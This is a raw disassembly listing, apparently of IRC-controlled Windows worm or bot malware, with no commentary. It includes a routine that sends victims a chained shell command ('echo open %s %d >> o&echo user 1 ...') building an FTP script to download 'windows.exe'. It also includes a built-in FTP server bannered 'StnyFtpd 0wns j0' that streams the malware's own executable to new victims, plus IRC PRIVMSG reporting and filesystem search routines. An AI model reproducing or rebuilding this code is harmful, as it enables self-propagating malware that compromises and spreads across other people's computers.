		mov	[ebp+74h+var_4], 10h
		mov	esi, offset aWindows_exe ; "windows.exe"


loc_411904:				; CODE XREF: sub_411722+1F7j
					; sub_411722+264j ...
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_24]
		push	eax
		push	edi
		call	dword_4440BC	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+arg_0], eax
		jz	short loc_411904
		movzx	eax, [ebp+74h+var_22]
		push	eax
		push	[ebp+74h+var_20]
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_433FE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+74h+var_2C], 0
		jnz	short loc_41195F
		push	0		; int
		push	[ebp+74h+var_30] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_B0]
		push	eax		; Str
		push	[ebp+74h+var_C0] ; int
		call	sub_40123B
		add	esp, 14h


loc_41195F:				; CODE XREF: sub_411722+220j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		push	0
		push	200h
		lea	eax, [ebp+74h+Dest]
		push	eax
		push	[ebp+74h+arg_0]
		call	dword_444064	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_411904
		push	esi
		push	esi
		push	dword_4D1FE4
		push	[ebp+74h+var_C0]
		call	sub_4023C9
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+74h+Str]
		push	ebx		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+74h+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+Str]
		push	eax
		push	[ebp+74h+arg_0]
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_411904
		inc	dword_4D5258
		jmp	loc_411904
; ---------------------------------------------------------------------------


loc_4119E7:				; CODE XREF: sub_411722+1D0j
		push	edi
		call	dword_444218	; closesocket
		push	[ebp+74h+var_BC]
		call	sub_40B149
		pop	ecx
		push	0


loc_4119F9:				; CODE XREF: sub_411722+AFj
					; sub_411722+137j ...
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_411722	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A00	proc near		; CODE XREF: sub_411B17+4D2p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_42B204	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_42B20C	; socket
		push	[ebp+arg_0]
		mov	dword_4D5260, eax
		mov	[ebp+var_10], 2
		call	ds:dword_42B218	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_42B200	; htons
		mov	[ebp+var_E], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	dword_4D5260
		call	ds:dword_42B1F4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411A78
		push	dword_4D5260
		call	ds:dword_42B1F8	; closesocket
		call	ds:dword_42B1FC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_411A78:				; CODE XREF: sub_411A00+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_411A00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A7D	proc near		; CODE XREF: sub_411B17:loc_41203Cp

DstBuf		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	ds:dword_42B00C	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax		; char *
		call	_fopen
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_411B14
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_411AF8
		push	edi
		mov	edi, 400h


loc_411AC0:				; CODE XREF: sub_411A7D+78j
		push	esi		; File
		push	1		; Count
		lea	eax, [ebp+DstBuf]
		push	edi		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 10h
		push	0
		push	edi
		lea	eax, [ebp+DstBuf]
		push	eax
		push	dword_4D5260
		call	ds:dword_42B210	; send
		push	1
		call	ds:dword_42B014	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_411AC0
		pop	edi


loc_411AF8:				; CODE XREF: sub_411A7D+3Bj
		push	esi		; File
		call	_fclose
		pop	ecx
		push	dword_4D5260
		call	ds:dword_42B1F8	; closesocket
		call	ds:dword_42B1FC	; WSACleanup
		xor	eax, eax
		inc	eax


loc_411B14:				; CODE XREF: sub_411A7D+35j
		pop	esi
		leave
		retn
sub_411A7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_411B17	proc near		; DATA XREF: sub_40B690+22Bo

var_A70		= byte ptr -0A70h
var_8E0		= dword	ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
Dst		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
Str		= byte ptr -128h
Dest		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
Str1		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0A70h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		xor	ebx, ebx
		inc	ebx
		mov	ecx, 0A9h
		lea	edi, [ebp+74h+var_6E0]
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+74h+var_A70]
		push	eax
		xor	esi, esi
		push	101h
		mov	[ebp+74h+var_1C], ebx
		mov	[ebp+74h+var_2C], ebx
		mov	[ebp+74h+var_24], ebx
		mov	[ebp+74h+var_22C], esi
		mov	[ebp+74h+var_43C], esi
		call	ds:dword_42B204	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	ds:dword_42B20C	; socket
		mov	esi, ds:dword_42B1E0
		push	4
		lea	ecx, [ebp+74h+var_1C]
		push	ecx
		push	4
		mov	edi, 0FFFFh
		push	edi
		push	eax
		mov	[ebp+74h+var_8], eax
		call	esi	; setsockopt
		push	4
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+74h+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+74h+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_42B1E4	; ioctlsocket
		and	[ebp+74h+var_48], 0
		xor	eax, eax
		mov	ax, word ptr dword_4D1FE4
		mov	[ebp+74h+var_4C], 2
		push	eax
		call	dword_444260	; htons
		mov	[ebp+74h+var_4A], ax
		push	10h
		lea	eax, [ebp+74h+var_4C]
		push	eax
		push	edi
		call	ds:dword_42B1E8	; bind
		test	eax, eax
		jl	loc_412129
		push	0Ah
		push	edi
		call	ds:dword_42B1EC	; listen
		push	41h
		pop	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+74h+var_43C]
		push	eax
		mov	eax, [ebp+74h+var_8]
		mov	[ebp+74h+var_228], edi
		mov	[ebp+74h+var_4], edi
		inc	eax
		lea	esi, [ebp+74h+var_22C]
		lea	edi, [ebp+74h+var_43C]
		mov	[ebp+74h+var_22C], ebx
		push	eax
		rep movsd
		call	ds:dword_42B21C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_412129
		mov	ebx, ds:dword_42B210


loc_411C2D:				; CODE XREF: sub_411B17+609j
		xor	edi, edi
		cmp	[ebp+74h+var_4], edi
		mov	[ebp+74h+arg_0], edi
		jl	loc_4120F5


loc_411C3B:				; CODE XREF: sub_411B17+5D8j
		push	64h		; Size
		lea	eax, [ebp+74h+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	64h		; Size
		xor	esi, esi
		lea	eax, [ebp+74h+Str1]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+74h+var_43C]
		push	eax
		push	edi
		call	sub_4298D6	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4120E8
		cmp	edi, [ebp+74h+var_8]
		jnz	short loc_411CE2
		lea	eax, [ebp+74h+var_10]
		push	eax
		lea	eax, [ebp+74h+var_23C]
		push	eax
		push	[ebp+74h+var_8]
		mov	[ebp+74h+var_10], 10h
		call	ds:dword_42B1F0	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4120E8
		mov	edx, [ebp+74h+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_411CB4


loc_411CA6:				; CODE XREF: sub_411B17+19Bj
		cmp	[ebp+ecx*4+74h+var_228], eax
		jz	short loc_411CB4
		inc	ecx
		cmp	ecx, edx
		jb	short loc_411CA6


loc_411CB4:				; CODE XREF: sub_411B17+18Dj
					; sub_411B17+196j
		cmp	ecx, edx
		jnz	short loc_411CCA
		cmp	edx, 40h
		jnb	short loc_411CCA
		mov	[ebp+ecx*4+74h+var_228], eax
		inc	[ebp+74h+var_22C]


loc_411CCA:				; CODE XREF: sub_411B17+19Fj
					; sub_411B17+1A4j
		cmp	eax, [ebp+74h+var_4]
		jle	short loc_411CD2
		mov	[ebp+74h+var_4], eax


loc_411CD2:				; CODE XREF: sub_411B17+1B6j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4120E8
; ---------------------------------------------------------------------------


loc_411CE2:				; CODE XREF: sub_411B17+15Dj
		push	esi
		push	64h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	edi
		call	ds:dword_42B208	; recv
		test	eax, eax
		jg	short loc_411D3F
		mov	ecx, [ebp+74h+var_22C]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_411D33


loc_411D03:				; CODE XREF: sub_411B17+1F8j
		cmp	[ebp+eax*4+74h+var_228], edi
		jz	short loc_411D28
		inc	eax
		cmp	eax, ecx
		jb	short loc_411D03
		jmp	short loc_411D33
; ---------------------------------------------------------------------------


loc_411D13:				; CODE XREF: sub_411B17+214j
		mov	ecx, [ebp+eax*4+74h+var_224]
		mov	[ebp+eax*4+74h+var_228], ecx
		mov	ecx, [ebp+74h+var_22C]
		inc	eax


loc_411D28:				; CODE XREF: sub_411B17+1F3j
		dec	ecx
		cmp	eax, ecx
		jb	short loc_411D13
		dec	[ebp+74h+var_22C]


loc_411D33:				; CODE XREF: sub_411B17+1EAj
					; sub_411B17+1FAj
		push	edi
		call	ds:dword_42B1F8	; closesocket
		jmp	loc_4120E8
; ---------------------------------------------------------------------------


loc_411D3F:				; CODE XREF: sub_411B17+1DEj
		lea	eax, [ebp+74h+var_338]
		push	eax
		lea	eax, [ebp+74h+Str1]
		push	eax
		lea	eax, [ebp+74h+Dst]
		push	offset aSS_3	; "%s %s"
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+74h+Str1]
		push	offset aUser_1	; "USER"
		push	eax		; Str1
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_411D7D
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4120D3
; ---------------------------------------------------------------------------


loc_411D7D:				; CODE XREF: sub_411B17+257j
		lea	eax, [ebp+74h+Str1]
		push	offset aPass_0	; "PASS"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411D9E
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4120D3
; ---------------------------------------------------------------------------


loc_411D9E:				; CODE XREF: sub_411B17+278j
		lea	eax, [ebp+74h+Str1]
		push	offset aSyst	; "SYST"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411DBF
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_4120D3
; ---------------------------------------------------------------------------


loc_411DBF:				; CODE XREF: sub_411B17+299j
		lea	eax, [ebp+74h+Str1]
		push	offset aRest	; "REST"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411DE0
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4120D3
; ---------------------------------------------------------------------------


loc_411DE0:				; CODE XREF: sub_411B17+2BAj
		lea	eax, [ebp+74h+Str1]
		push	offset off_43426C ; Str2
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411E01
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4120D3
; ---------------------------------------------------------------------------


loc_411E01:				; CODE XREF: sub_411B17+2DBj
		lea	eax, [ebp+74h+Str1]
		push	offset aType	; "TYPE"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411E39
		lea	eax, [ebp+74h+var_338]
		push	offset aA_0	; "A"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411E39
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4120D3
; ---------------------------------------------------------------------------


loc_411E39:				; CODE XREF: sub_411B17+2FCj
					; sub_411B17+313j
		lea	eax, [ebp+74h+Str1]
		push	offset aType	; "TYPE"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411E71
		lea	eax, [ebp+74h+var_338]
		push	offset aI_0	; "I"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411E71
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4120D3
; ---------------------------------------------------------------------------


loc_411E71:				; CODE XREF: sub_411B17+334j
					; sub_411B17+34Bj
		lea	eax, [ebp+74h+Str1]
		push	offset aPasv	; "PASV"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411EBC
		push	0Ah
		pop	ecx
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		lea	edi, [ebp+74h+Str]
		rep movsd
		push	eax
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		movsw
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+Str]


loc_411EAC:				; CODE XREF: sub_411B17+3D8j
		push	eax
		push	[ebp+74h+arg_0]
		call	ebx	; send
		mov	edi, [ebp+74h+arg_0]
		xor	esi, esi
		jmp	loc_4120D6
; ---------------------------------------------------------------------------


loc_411EBC:				; CODE XREF: sub_411B17+36Cj
		lea	eax, [ebp+74h+Str1]
		push	offset aList_0	; "LIST"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_411EF1
		push	5
		pop	ecx
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		lea	edi, [ebp+74h+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+74h+var_C8]
		push	eax		; Str
		movsb
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+var_C8]
		jmp	short loc_411EAC
; ---------------------------------------------------------------------------


loc_411EF1:				; CODE XREF: sub_411B17+3B7j
		lea	eax, [ebp+74h+Str1]
		push	offset aPort	; "PORT"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_411FBF
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	eax
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_18]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+Dst]
		push	offset aS_2	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+74h+Dest]
		push	eax		; Str
		call	j__atol
		mov	[ebp+74h+var_C], eax
		lea	eax, [ebp+74h+var_2D4]
		push	eax		; Str
		call	j__atol
		push	32h		; Size
		mov	[ebp+74h+arg_0], eax
		lea	eax, [ebp+74h+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+Dest]
		push	[ebp+74h+var_C]
		push	offset aXX	; "%x%x\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 44h
		push	10h		; Radix
		lea	eax, [ebp+74h+Dest]
		push	esi		; EndPtr
		push	eax		; Str
		call	_strtoul
		mov	[ebp+74h+var_C], eax
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_18]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_4120D3
; ---------------------------------------------------------------------------


loc_411FBF:				; CODE XREF: sub_411B17+3ECj
		lea	eax, [ebp+74h+Str1]
		push	offset aRetr	; "RETR"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4120B7
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_3C]
		push	eax
		call	sub_411A00
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jnz	loc_4120AD
		lea	eax, [ebp+74h+var_3C]
		push	eax
		lea	eax, [ebp+74h+var_8E0]
		push	offset asc_434104 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_444], esi
		jnz	short loc_41203C
		push	esi		; int
		push	[ebp+74h+var_448] ; int
		lea	eax, [ebp+74h+var_8E0]
		push	eax		; int
		lea	eax, [ebp+74h+var_4C8]
		push	eax		; Str
		push	[ebp+74h+var_6E0] ; int
		call	sub_40123B
		add	esp, 14h


loc_41203C:				; CODE XREF: sub_411B17+500j
		call	sub_411A7D
		cmp	eax, 1
		jnz	loc_4120D6
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+74h+var_3C]
		push	eax
		lea	eax, [ebp+74h+var_8E0]
		push	offset asc_4340D0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_444], esi
		jnz	short loc_412098
		push	esi		; int
		push	[ebp+74h+var_448] ; int
		lea	eax, [ebp+74h+var_8E0]
		push	eax		; int
		lea	eax, [ebp+74h+var_4C8]
		push	eax		; Str
		push	[ebp+74h+var_6E0] ; int
		call	sub_40123B
		add	esp, 14h


loc_412098:				; CODE XREF: sub_411B17+55Cj
		lea	eax, [ebp+74h+var_8E0]
		push	eax
		call	sub_417D70
		inc	dword_4D400C
		pop	ecx
		jmp	short loc_4120D6
; ---------------------------------------------------------------------------


loc_4120AD:				; CODE XREF: sub_411B17+4DCj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4120D3
; ---------------------------------------------------------------------------


loc_4120B7:				; CODE XREF: sub_411B17+4BAj
		lea	eax, [ebp+74h+Str1]
		push	offset aQuit	; "QUIT"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4120D6
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4120D3:				; CODE XREF: sub_411B17+261j
					; sub_411B17+282j ...
		push	edi
		call	ebx	; send


loc_4120D6:				; CODE XREF: sub_411B17+3A0j
					; sub_411B17+52Dj ...
		push	64h		; Size
		lea	eax, [ebp+74h+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch


loc_4120E8:				; CODE XREF: sub_411B17+154j
					; sub_411B17+17Dj ...
		inc	edi
		cmp	edi, [ebp+74h+var_4]
		mov	[ebp+74h+arg_0], edi
		jle	loc_411C3B


loc_4120F5:				; CODE XREF: sub_411B17+11Ej
		push	41h
		pop	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+74h+var_43C]
		push	eax
		mov	eax, [ebp+74h+var_4]
		inc	eax
		lea	esi, [ebp+74h+var_22C]
		lea	edi, [ebp+74h+var_43C]
		push	eax
		rep movsd
		call	ds:dword_42B21C	; select
		cmp	eax, 0FFFFFFFFh
		jnz	loc_411C2D
		xor	ebx, ebx
		inc	ebx


loc_412129:				; CODE XREF: sub_411B17+C1j
					; sub_411B17+10Aj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_411B17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_412135(int,int,int,char *Source)

sub_412135	proc near		; CODE XREF: sub_40274D+73A7p
					; sub_4129C2+143p

Dst		= byte ptr -598h
var_494		= byte ptr -494h
var_38C		= dword	ptr -38Ch
var_378		= byte ptr -378h
var_36C		= dword	ptr -36Ch
Str1		= byte ptr -360h
Str		= byte ptr -24Ch
Dest		= byte ptr -4Ch
var_24		= byte ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 598h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	_memset
		mov	edi, [ebp+arg_0]
		push	offset asc_42CDD8 ; "\n"
		push	edi		; Str
		call	_strtok
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_412194
		push	[ebp+arg_8]
		mov	esi, 200h
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	loc_412290
; ---------------------------------------------------------------------------


loc_412194:				; CODE XREF: sub_412135+3Bj
		cmp	[ebp+Source], ebx
		jz	loc_412276
		call	_strlen
		push	edi
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		mov	[eax+edi-1], bl
		mov	esi, 200h
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		push	edi		; Str
		call	_strlen
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		mov	byte ptr [eax+edi], 2Ah
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_412290
; ---------------------------------------------------------------------------


loc_412276:				; CODE XREF: sub_412135+62j
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		mov	esi, 200h
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h


loc_412290:				; CODE XREF: sub_412135+5Aj
					; sub_412135+13Fj
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		cmp	[ebp+Source], ebx
		jz	short loc_412328
		push	[ebp+Source]	; Str
		call	_strlen
		cmp	eax, 2
		pop	ecx
		jbe	short loc_412328
		push	[ebp+Source]	; Str
		call	_strlen
		sub	eax, 3
		pop	ecx
		jz	short loc_4122DC


loc_4122D0:				; CODE XREF: sub_412135+1A5j
		mov	ecx, [ebp+Source]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4122DC
		dec	eax
		jnz	short loc_4122D0


loc_4122DC:				; CODE XREF: sub_412135+199j
					; sub_412135+1A2j
		inc	eax
		push	eax		; Count
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send


loc_412328:				; CODE XREF: sub_412135+17Dj
					; sub_412135+18Bj
		lea	eax, [ebp+var_38C]
		push	eax
		push	edi
		call	ds:dword_42B0B4	; FindFirstFileA
		lea	ecx, [ebp+var_38C]
		push	ecx
		push	eax
		mov	[ebp+var_C], eax
		call	ds:dword_42B0B0	; FindNextFileA
		test	eax, eax
		jz	loc_41271F
		mov	edi, 1FFh


loc_412354:				; CODE XREF: sub_412135+5E4j
		cmp	[ebp+var_38C], ebx
		jz	loc_412707
		lea	eax, [ebp+Str1]
		push	offset a__	; ".."
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_412707
		lea	eax, [ebp+Str1]
		push	offset a__0	; "."
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_412707
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_378]
		push	eax
		call	ds:dword_42B0AC	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	ds:dword_42B0A8	; FileTimeToSystemTime
		mov	ax, [ebp+var_14]
		cmp	ax, 0Ch
		mov	ecx, offset aPm_0 ; "PM"
		ja	loc_412451
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_4123D0:				; CODE XREF: sub_412135+322j
		push	ecx
		movzx	ecx, [ebp+var_12]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_1C]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		test	byte ptr [ebp+var_38C],	10h
		jz	loc_412588
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_41245C
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_3	; "<%s>"
		lea	eax, [ebp+var_494]
		push	106h		; Count
